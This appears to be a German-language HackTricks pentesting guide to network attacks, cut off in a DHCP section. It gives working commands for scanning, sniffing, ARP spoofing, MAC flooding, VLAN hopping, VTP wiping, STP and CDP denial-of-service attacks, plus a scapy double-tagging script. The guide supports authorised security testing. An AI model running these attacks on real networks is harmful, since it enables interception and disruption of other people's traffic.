hacktricks/generic-methodologies-and-resources/pentesting-network/README.md
2024-02-10 15:36:32 +00:00

61 KiB
Raw Blame History

Pentesting Netzwerk

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Bug-Bounty-Tipp: Melden Sie sich an bei Intigriti, einer Premium-Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde! Treten Sie uns noch heute unter https://go.intigriti.com/hacktricks bei und verdienen Sie Prämien von bis zu 100.000 $!

{% embed url="https://go.intigriti.com/hacktricks" %}

Entdecken von Hosts von außen

Dies wird ein kurzer Abschnitt darüber sein, wie man IPs findet, die aus dem Internet antworten.
In dieser Situation haben Sie einen IP-Bereich (vielleicht sogar mehrere Bereiche) und Sie möchten nur herausfinden, welche IPs antworten.

ICMP

Dies ist der einfachste und schnellste Weg, um festzustellen, ob ein Host aktiv ist oder nicht.
Sie könnten versuchen, einige ICMP-Pakete zu senden und Antworten zu erwarten. Der einfachste Weg besteht darin, eine Echo-Anforderung zu senden und auf die Antwort zu warten. Sie können dies mit einem einfachen ping oder mit fping für Bereiche tun.
Sie können auch nmap verwenden, um andere Arten von ICMP-Paketen zu senden (dadurch werden Filter für gängige ICMP-Echo-Anforderungen vermieden).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

TCP-Port-Erkennung

Es ist sehr häufig, dass alle Arten von ICMP-Paketen gefiltert werden. Dann können Sie nur versuchen, offene Ports zu finden, um festzustellen, ob ein Host erreichbar ist. Jeder Host hat 65535 Ports, daher können Sie bei einem "großen" Umfang nicht testen, ob jeder Port jedes Hosts geöffnet ist oder nicht, das würde zu viel Zeit in Anspruch nehmen.
Was Sie brauchen, ist ein schneller Portscanner (masscan) und eine Liste der am häufigsten verwendeten Ports:

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Sie können diesen Schritt auch mit nmap durchführen, aber es ist langsamer und nmap hat Probleme beim Identifizieren von Hosts.

HTTP-Port-Erkennung

Dies ist nur eine TCP-Port-Erkennung, die nützlich ist, wenn Sie sich auf die Entdeckung von HTTP-Diensten konzentrieren möchten:

masscan -p80,443,8000-8100,8443 199.66.11.0/24

UDP-Porterkennung

Sie können auch versuchen, einige offene UDP-Ports zu überprüfen, um zu entscheiden, ob Sie einem Host mehr Aufmerksamkeit schenken sollten. Da UDP-Dienste normalerweise keine Daten auf eine reguläre leere UDP-Sondierungsanforderung antworten, ist es schwierig zu sagen, ob ein Port gefiltert oder geöffnet ist. Der einfachste Weg, dies zu entscheiden, besteht darin, ein Paket im Zusammenhang mit dem ausgeführten Dienst zu senden. Da Sie jedoch nicht wissen, welcher Dienst ausgeführt wird, sollten Sie den wahrscheinlichsten basierend auf der Portnummer ausprobieren:

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

Die zuvor vorgeschlagene nmap-Zeile testet die Top 1000 UDP-Ports in jedem Host innerhalb des /24-Bereichs, aber selbst das dauert >20 Minuten. Wenn Sie schnellere Ergebnisse benötigen, können Sie udp-proto-scanner verwenden: ./udp-proto-scanner.pl 199.66.11.53/24 Dies sendet diese UDP-Sonden an ihren erwarteten Port (für einen /24-Bereich dauert dies nur 1 Minute): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

SCTP Port Discovery

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Hier finden Sie eine gute Anleitung zu allen bekannten Wifi-Angriffen zum Zeitpunkt des Schreibens:

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Entdecken von Hosts von innen heraus

Wenn Sie sich im Netzwerk befinden, möchten Sie wahrscheinlich als erstes andere Hosts entdecken. Je nachdem, wie viel Lärm Sie machen möchten oder können, können verschiedene Aktionen durchgeführt werden:

Passiv

Sie können diese Tools verwenden, um Hosts in einem verbundenen Netzwerk passiv zu entdecken:

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Aktiv

Beachten Sie, dass die in Entdeckung von Hosts von außen (TCP/HTTP/UDP/SCTP-Porterkennung) kommentierten Techniken auch hier angewendet werden können.
Da Sie sich jedoch im selben Netzwerk wie die anderen Hosts befinden, können Sie mehr Dinge tun:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

Aktives ICMP

Beachten Sie, dass die in Discovering hosts from the outside (ICMP) kommentierten Techniken auch hier angewendet werden können.
Da Sie sich jedoch im selben Netzwerk wie die anderen Hosts befinden, können Sie mehr Dinge tun:

  • Wenn Sie eine Subnetz-Broadcast-Adresse anpingen, sollte der Ping bei jedem Host ankommen und sie könnten Ihnen antworten: ping -b 10.10.5.255
  • Durch Anpingen der Netzwerk-Broadcast-Adresse können Sie sogar Hosts in anderen Subnetzen finden: ping -b 255.255.255.255
  • Verwenden Sie die Flags -PE, -PP, -PM von nmap, um die Host-Erkennung durch das Senden von ICMPv4 Echo, Timestamp und Subnetzmasken-Anfragen durchzuführen: nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan wird verwendet, um Computer über eine Netzwerknachricht einzuschalten. Das Magic Packet, das verwendet wird, um den Computer einzuschalten, ist nur ein Paket, bei dem eine MAC-Dst angegeben wird und dann 16 Mal im selben Paket wiederholt wird.
Diese Art von Paketen wird normalerweise in einem Ethernet 0x0842 oder in einem UDP-Paket an Port 9 gesendet.
Wenn keine [MAC] angegeben ist, wird das Paket an Broadcast Ethernet gesendet (und die wiederholte Broadcast-MAC wird verwendet).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Scannen von Hosts

Sobald Sie alle IPs (extern oder intern) entdeckt haben, die Sie gründlich scannen möchten, können verschiedene Aktionen durchgeführt werden.

TCP

  • Offener Port: SYN --> SYN/ACK --> RST
  • Geschlossener Port: SYN --> RST/ACK
  • Gefilterter Port: SYN --> [KEINE ANTWORT]
  • Gefilterter Port: SYN --> ICMP-Nachricht
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Es gibt 2 Möglichkeiten, einen UDP-Port zu scannen:

  • Senden Sie ein UDP-Paket und überprüfen Sie die Antwort ICMP unreachable, wenn der Port geschlossen ist (in einigen Fällen wird ICMP gefiltert, sodass Sie keine Informationen erhalten, ob der Port geschlossen oder geöffnet ist).
  • Senden Sie formatierte Datagramme, um eine Antwort von einem Dienst (z. B. DNS, DHCP, TFTP und andere, wie in nmap-payloads aufgeführt) zu erhalten. Wenn Sie eine Antwort erhalten, ist der Port geöffnet.

Nmap wird beide Optionen mit "-sV" kombinieren (UDP-Scans sind sehr langsam), aber beachten Sie, dass UDP-Scans langsamer sind als TCP-Scans:

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

SCTP-Scan

SCTP (Stream Control Transmission Protocol) ist darauf ausgelegt, zusammen mit TCP (Transmission Control Protocol) und UDP (User Datagram Protocol) verwendet zu werden. Sein Hauptzweck besteht darin, den Transport von Telefondaten über IP-Netzwerke zu erleichtern und viele der Zuverlässigkeitsfunktionen des Signaling System 7 (SS7) zu spiegeln. SCTP ist eine Kernkomponente der SIGTRAN-Protokollfamilie, die darauf abzielt, SS7-Signale über IP-Netzwerke zu transportieren.

Die Unterstützung für SCTP wird von verschiedenen Betriebssystemen wie IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS und VxWorks bereitgestellt, was auf seine breite Akzeptanz und Nützlichkeit im Bereich Telekommunikation und Netzwerke hinweist.

Nmap bietet zwei verschiedene Scans für SCTP an: -sY und -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

IDS und IPS Umgehung

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Weitere nmap-Optionen

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Enthüllung interner IP-Adressen

Fehlkonfigurierte Router, Firewalls und Netzwerkgeräte antworten manchmal auf Netzwerksonden mit nichtöffentlichen Quelladressen. tcpdump kann verwendet werden, um Pakete zu identifizieren, die von privaten Adressen während des Tests empfangen wurden. Insbesondere auf Kali Linux können Pakete auf der eth2-Schnittstelle erfasst werden, die aus dem öffentlichen Internet erreichbar ist. Es ist wichtig zu beachten, dass solche Pakete wahrscheinlich herausgefiltert werden, wenn Ihre Konfiguration hinter einem NAT oder einer Firewall liegt.

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

Beim Sniffing können Sie durch Überprüfung erfasster Frames und Pakete Details zu IP-Bereichen, Subnetzgrößen, MAC-Adressen und Hostnamen erfahren. Wenn das Netzwerk falsch konfiguriert ist oder der Switching-Fabric unter Stress steht, können Angreifer sensible Informationen durch passives Netzwerk-Sniffing erfassen.

Wenn ein geschaltetes Ethernet-Netzwerk ordnungsgemäß konfiguriert ist, sehen Sie nur Broadcast-Frames und Material, das für Ihre MAC-Adresse bestimmt ist.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

Man kann auch über eine SSH-Sitzung mit Wireshark als GUI in Echtzeit Pakete von einer entfernten Maschine erfassen.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap ist ein mächtiges, flexibles und dennoch einfach zu bedienendes Framework für Netzwerkangriffe. Es bietet eine Vielzahl von Funktionen und Werkzeugen, die bei der Durchführung von Penetrationstests und Sicherheitsaudits hilfreich sind. Mit Bettercap können Sie verschiedene Angriffe wie Man-in-the-Middle-Angriffe, ARP-Spoofing, DNS-Spoofing und SSL-Stripping durchführen. Es unterstützt auch das Sniffing von Netzwerkverkehr, das Erstellen von Rogue Access Points und das Durchführen von Wireless Attacks. Bettercap ist ein unverzichtbares Werkzeug für jeden Ethical Hacker oder Sicherheitsexperten, der Netzwerke untersucht und Schwachstellen aufdecken möchte.

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Offensichtlich.

Erfassen von Anmeldedaten

Sie können Tools wie https://github.com/lgandx/PCredz verwenden, um Anmeldedaten aus einer pcap-Datei oder einer Live-Schnittstelle zu analysieren.

LAN-Angriffe

ARP-Spoofing

ARP-Spoofing besteht darin, gefälschte ARP-Antworten zu senden, um anzuzeigen, dass die IP einer Maschine die MAC unseres Geräts hat. Dann ändert das Opfer die ARP-Tabelle und kontaktiert unsere Maschine jedes Mal, wenn es die gefälschte IP kontaktieren möchte.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Arpspoof ist ein Tool, das in der Netzwerk-Penetrationstestphase verwendet wird, um ARP-Spoofing-Angriffe durchzuführen. ARP-Spoofing ist eine Technik, bei der ein Angreifer den ARP-Cache eines Netzwerks manipuliert, um den Datenverkehr umzuleiten oder abzufangen.

Mit Arpspoof können Sie ARP-Pakete senden, um gefälschte ARP-Antworten an die Zielmaschine und den Gateway-Router zu senden. Dadurch wird der ARP-Cache der Zielmaschine aktualisiert und der Datenverkehr an den Angreifer umgeleitet.

Arpspoof ist Teil des Dsniff-Toolsatzes und kann auf Linux- und Unix-Systemen verwendet werden. Es erfordert Root-Zugriff, da es direkt auf die Netzwerkschnittstelle zugreift.

Die Verwendung von Arpspoof erfordert ein grundlegendes Verständnis des ARP-Protokolls und der Netzwerkarchitektur. Es sollte nur in einer kontrollierten Umgebung und mit Zustimmung des Netzwerkeigentümers eingesetzt werden.

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - CAM-Überlauf

Überfluten Sie die CAM-Tabelle des Switches, indem Sie viele Pakete mit unterschiedlichen Quell-MAC-Adressen senden. Wenn die CAM-Tabelle voll ist, verhält sich der Switch wie ein Hub und sendet den gesamten Datenverkehr als Broadcast.

macof -i <interface>

In modernen Switches wurde diese Schwachstelle behoben.

802.1Q VLAN / DTP-Angriffe

Dynamisches Trunking

Das Dynamic Trunking Protocol (DTP) ist als Link-Layer-Protokoll konzipiert, um ein automatisches System für Trunking zu ermöglichen, das es Switches ermöglicht, Ports automatisch für den Trunk-Modus (Trunk) oder den Nicht-Trunk-Modus auszuwählen. Die Verwendung von DTP wird oft als Hinweis auf eine suboptimale Netzwerkkonfiguration angesehen, was die Bedeutung der manuellen Konfiguration von Trunks nur dort, wo es notwendig ist, und der ordnungsgemäßen Dokumentation unterstreicht.

Standardmäßig sind Switch-Ports auf den Betrieb im Dynamic Auto-Modus eingestellt, was bedeutet, dass sie bereit sind, Trunking zu initiieren, wenn sie von einem benachbarten Switch dazu aufgefordert werden. Ein Sicherheitsproblem entsteht, wenn ein Pentester oder Angreifer sich mit dem Switch verbindet und ein DTP Desirable Frame sendet, um den Port in den Trunk-Modus zu versetzen. Diese Aktion ermöglicht es dem Angreifer, VLANs durch STP Frame-Analyse aufzulisten und die VLAN-Segmentierung durch Einrichtung virtueller Schnittstellen zu umgehen.

Die Anwesenheit von DTP in vielen Switches standardmäßig kann von Angreifern ausgenutzt werden, um das Verhalten eines Switches zu imitieren und so Zugriff auf den Datenverkehr über alle VLANs zu erhalten. Das Skript dtpscan.sh wird verwendet, um eine Schnittstelle zu überwachen und festzustellen, ob ein Switch im Default-, Trunk-, Dynamic-, Auto- oder Access-Modus ist, wobei letzterer die einzige Konfiguration ist, die gegen VLAN-Hopping-Angriffe immun ist. Dieses Tool bewertet den Schwachstellenstatus des Switches.

Sollte eine Netzwerkschwachstelle identifiziert werden, kann das Tool Yersinia verwendet werden, um über das DTP-Protokoll "Trunking zu aktivieren", was die Beobachtung von Paketen aus allen VLANs ermöglicht.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Um die VLANs aufzulisten, ist es auch möglich, das Skript DTPHijacking.py zu verwenden. Unter keinen Umständen das Skript unterbrechen. Es injiziert alle drei Sekunden ein DTP Desirable. Die dynamisch erstellten Trunk-Kanäle am Switch bleiben nur fünf Minuten lang bestehen. Nach fünf Minuten wird der Trunk deaktiviert.

sudo python3 DTPHijacking.py --interface eth0

Ich möchte darauf hinweisen, dass Access/Desirable (0x03) anzeigt, dass das DTP-Feld vom Typ "Desirable" ist, was dem Port mitteilt, in den Trunk-Modus zu wechseln. Und 802.1Q/802.1Q (0xa5) gibt den Encapsulation-Typ 802.1Q an.

Durch die Analyse der STP-Frames erfahren wir von der Existenz von VLAN 30 und VLAN 60.

Angriff auf spezifische VLANs

Sobald Sie die VLAN-IDs und IP-Werte kennen, können Sie eine virtuelle Schnittstelle konfigurieren, um ein bestimmtes VLAN anzugreifen.
Wenn DHCP nicht verfügbar ist, verwenden Sie ifconfig, um eine statische IP-Adresse festzulegen.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Automatischer VLAN-Hopper

Der diskutierte Angriff auf Dynamic Trunking und das Erstellen virtueller Schnittstellen zum Entdecken von Hosts in anderen VLANs wird automatisch von dem Tool durchgeführt: https://github.com/nccgroup/vlan-hopping---frogger

Doppeltes Tagging

Wenn ein Angreifer den Wert der MAC-, IP- und VLAN-ID des Opferhosts kennt, kann er versuchen, einen Frame mit seinem zugewiesenen VLAN und dem VLAN des Opfers doppelt zu taggen und ein Paket zu senden. Da das Opfer keine Verbindung zum Angreifer herstellen kann, ist die beste Option für den Angreifer die Kommunikation über UDP mit Protokollen, die interessante Aktionen ausführen können (wie SNMP).

Eine andere Option für den Angreifer besteht darin, einen TCP-Port-Scan zu starten und dabei eine vom Angreifer kontrollierte und vom Opfer erreichbare IP zu fälschen (wahrscheinlich über das Internet). Anschließend könnte der Angreifer in dem zweiten von ihm besessenen Host mithören, ob er Pakete vom Opfer empfängt.

Um diesen Angriff durchzuführen, können Sie scapy verwenden: pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Umgehung der VLAN-Segmentierung auf der Lateralen Ebene

Wenn Sie Zugriff auf einen Switch haben, mit dem Sie direkt verbunden sind, haben Sie die Möglichkeit, die VLAN-Segmentierung im Netzwerk zu umgehen. Schalten Sie einfach den Port in den Trunk-Modus (auch als Trunk bezeichnet), erstellen Sie virtuelle Schnittstellen mit den IDs der Ziel-VLANs und konfigurieren Sie eine IP-Adresse. Sie können versuchen, die Adresse dynamisch (DHCP) anzufordern, oder Sie können sie statisch konfigurieren. Es hängt vom Fall ab.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Umgehung von Layer 3 Private VLAN

In bestimmten Umgebungen, wie z.B. Gast-WLAN-Netzwerken, werden Port-Isolierung (auch als Private VLAN bezeichnet) Einstellungen implementiert, um zu verhindern, dass Clients, die mit einem drahtlosen Zugangspunkt verbunden sind, direkt miteinander kommunizieren können. Es wurde jedoch eine Technik identifiziert, die diese Isolationsmaßnahmen umgehen kann. Diese Technik nutzt entweder das Fehlen von Netzwerk-ACLs oder deren falsche Konfiguration aus, um IP-Pakete über einen Router zu routen und einen anderen Client im selben Netzwerk zu erreichen.

Der Angriff wird ausgeführt, indem ein Paket erstellt wird, das die IP-Adresse des Zielclients, aber mit der MAC-Adresse des Routers, trägt. Dadurch leitet der Router das Paket irrtümlicherweise an den Zielclient weiter. Dieser Ansatz ähnelt dem bei Double Tagging Attacks verwendeten Ansatz, bei dem die Fähigkeit, auf einen Host zuzugreifen, der für das Opfer zugänglich ist, genutzt wird, um die Sicherheitslücke auszunutzen.

Hauptschritte des Angriffs:

  1. Erstellen eines Pakets: Ein Paket wird speziell erstellt, um die IP-Adresse des Zielclients, aber mit der MAC-Adresse des Routers, zu enthalten.
  2. Ausnutzen des Router-Verhaltens: Das erstellte Paket wird an den Router gesendet, der aufgrund der Konfiguration das Paket an den Zielclient weiterleitet und somit die durch private VLAN-Einstellungen bereitgestellte Isolation umgeht.

VTP-Angriffe

VTP (VLAN Trunking Protocol) zentralisiert das VLAN-Management. Es verwendet Revisionsnummern, um die Integrität der VLAN-Datenbank zu gewährleisten. Jede Änderung erhöht diese Nummer. Switches übernehmen Konfigurationen mit höheren Revisionsnummern und aktualisieren ihre eigenen VLAN-Datenbanken.

VTP-Domänenrollen

  • VTP-Server: Verwaltet VLANs - erstellt, löscht, ändert. Er sendet VTP-Ankündigungen an Domänenmitglieder.
  • VTP-Client: Empfängt VTP-Ankündigungen, um seine VLAN-Datenbank zu synchronisieren. Diese Rolle ist von lokalen VLAN-Konfigurationsänderungen ausgeschlossen.
  • VTP-Transparent: Nimmt nicht an VTP-Updates teil, leitet jedoch VTP-Ankündigungen weiter. Unbeeinflusst von VTP-Angriffen, behält es eine konstante Revisionsnummer von null bei.

VTP-Ankündigungstypen

  • Zusammenfassungsankündigung: Wird alle 300 Sekunden vom VTP-Server ausgestrahlt und enthält wichtige Domäneninformationen.
  • Teilmenge-Ankündigung: Wird nach VLAN-Konfigurationsänderungen gesendet.
  • Ankündigungsanforderung: Wird von einem VTP-Client zur Anforderung einer Zusammenfassungsankündigung ausgegeben, normalerweise als Reaktion auf das Erkennen einer höheren Konfigurationsrevisionsnummer.

VTP-Schwachstellen sind ausschließlich über Trunk-Ports ausnutzbar, da VTP-Ankündigungen ausschließlich über diese Ports zirkulieren. Nach DTP-Angriffsszenarien kann sich der Fokus auf VTP verlagern. Tools wie Yersinia können VTP-Angriffe erleichtern, um die VLAN-Datenbank zu löschen und das Netzwerk effektiv zu stören.

Hinweis: Diese Diskussion bezieht sich auf VTP-Version 1 (VTPv1).

%% yersinia -G # Launch Yersinia in graphical mode ```

Im grafischen Modus von Yersinia wählen Sie die Option zum Löschen aller VTP-VLANs, um die VLAN-Datenbank zu bereinigen.

STP-Angriffe

Wenn Sie keine BPDU-Frames auf Ihren Schnittstellen erfassen können, ist es unwahrscheinlich, dass Sie bei einem STP-Angriff erfolgreich sind.

STP BPDU DoS

Durch das Senden vieler BPDUs TCP (Topology Change Notification) oder Conf (die BPDUs, die gesendet werden, wenn die Topologie erstellt wird) werden die Switches überlastet und funktionieren nicht mehr korrekt.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

STP TCP Angriff

Wenn ein TCP-Paket gesendet wird, wird die CAM-Tabelle der Switches in 15 Sekunden gelöscht. Wenn Sie kontinuierlich solche Pakete senden, wird die CAM-Tabelle kontinuierlich neu gestartet (oder alle 15 Sekunden) und wenn sie neu gestartet wird, verhält sich der Switch wie ein Hub.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

STP Root Attack

Der Angreifer simuliert das Verhalten eines Switches, um zum STP-Root des Netzwerks zu werden. Dadurch wird mehr Datenverkehr über ihn geleitet. Dies ist interessant, wenn Sie mit zwei verschiedenen Switches verbunden sind.
Dies wird erreicht, indem BPDUs CONF-Pakete gesendet werden, in denen der priority-Wert geringer ist als die tatsächliche Priorität des aktuellen Root-Switches.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Wenn der Angreifer mit 2 Switches verbunden ist, kann er der Root des neuen Baums sein und der gesamte Datenverkehr zwischen diesen Switches wird durch ihn geleitet (ein MITM-Angriff wird durchgeführt).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

CDP-Angriffe

Das CISCO Discovery Protocol (CDP) ist für die Kommunikation zwischen CISCO-Geräten unerlässlich und ermöglicht es ihnen, sich gegenseitig zu identifizieren und Konfigurationsdetails auszutauschen.

Passive Datensammlung

CDP ist so konfiguriert, dass es Informationen über alle Ports sendet, was zu einem Sicherheitsrisiko führen kann. Ein Angreifer, der sich mit einem Switch-Port verbindet, könnte Netzwerk-Sniffer wie Wireshark, tcpdump oder Yersinia einsetzen. Dadurch können sensible Daten über das Netzwerkgerät offengelegt werden, einschließlich des Modells und der Version von Cisco IOS, auf dem es läuft. Der Angreifer könnte dann gezielt Schwachstellen in der identifizierten Cisco IOS-Version angreifen.

Induzierung einer CDP-Tabellenüberflutung

Ein aggressiverer Ansatz besteht darin, einen Denial-of-Service (DoS)-Angriff zu starten, indem der Speicher des Switches überlastet wird und vorgegeben wird, ein legitimes CISCO-Gerät zu sein. Nachfolgend finden Sie die Befehlssequenz zur Initiierung eines solchen Angriffs mit Yersinia, einem Netzwerktool, das für Tests entwickelt wurde:

sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G

Während dieses Angriffs wird die CPU des Switches und die CDP-Nachbartabelle stark belastet, was oft als "Netzwerkparalyse" aufgrund des übermäßigen Ressourcenverbrauchs bezeichnet wird.

CDP-Imitat-Angriff

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Sie können auch scapy verwenden. Stellen Sie sicher, dass Sie es mit dem scapy/contrib-Paket installieren.

VoIP-Angriffe und das VoIP Hopper-Tool

VoIP-Telefone, die zunehmend mit IoT-Geräten integriert sind, bieten Funktionen wie das Entsperren von Türen oder die Steuerung von Thermostaten über spezielle Telefonnummern. Diese Integration kann jedoch Sicherheitsrisiken darstellen.

Das Tool voiphopper ist darauf ausgelegt, ein VoIP-Telefon in verschiedenen Umgebungen (Cisco, Avaya, Nortel, Alcatel-Lucent) zu emulieren. Es ermittelt die VLAN-ID des Sprachnetzwerks mithilfe von Protokollen wie CDP, DHCP, LLDP-MED und 802.1Q ARP.

VoIP Hopper bietet drei Modi für das Cisco Discovery Protocol (CDP):

  1. Sniff-Modus (-c 0): Analysiert Netzwerkpakete, um die VLAN-ID zu identifizieren.
  2. Spoof-Modus (-c 1): Generiert benutzerdefinierte Pakete, die einem echten VoIP-Gerät ähneln.
  3. Spoof mit vordefiniertem Paketmodus (-c 2): Sendet Pakete, die identisch mit denen eines bestimmten Cisco-IP-Telefonmodells sind.

Der bevorzugte Modus für Geschwindigkeit ist der dritte. Dabei müssen folgende Angaben gemacht werden:

  • Die Netzwerkschnittstelle des Angreifers (-i-Parameter).
  • Der Name des zu emulierenden VoIP-Geräts (-E-Parameter), der dem Cisco-Namensformat entspricht (z. B. SEP gefolgt von einer MAC-Adresse).

In Unternehmensumgebungen könnte man zum Nachahmen eines vorhandenen VoIP-Geräts Folgendes tun:

  • Das MAC-Label am Telefon überprüfen.
  • Die Anzeigeeinstellungen des Telefons durchsuchen, um Modellinformationen anzuzeigen.
  • Das VoIP-Gerät mit einem Laptop verbinden und CDP-Anfragen mit Wireshark beobachten.

Ein Beispielbefehl zum Ausführen des Tools im dritten Modus wäre:

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

DHCP-Angriffe

Aufzählung

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.250
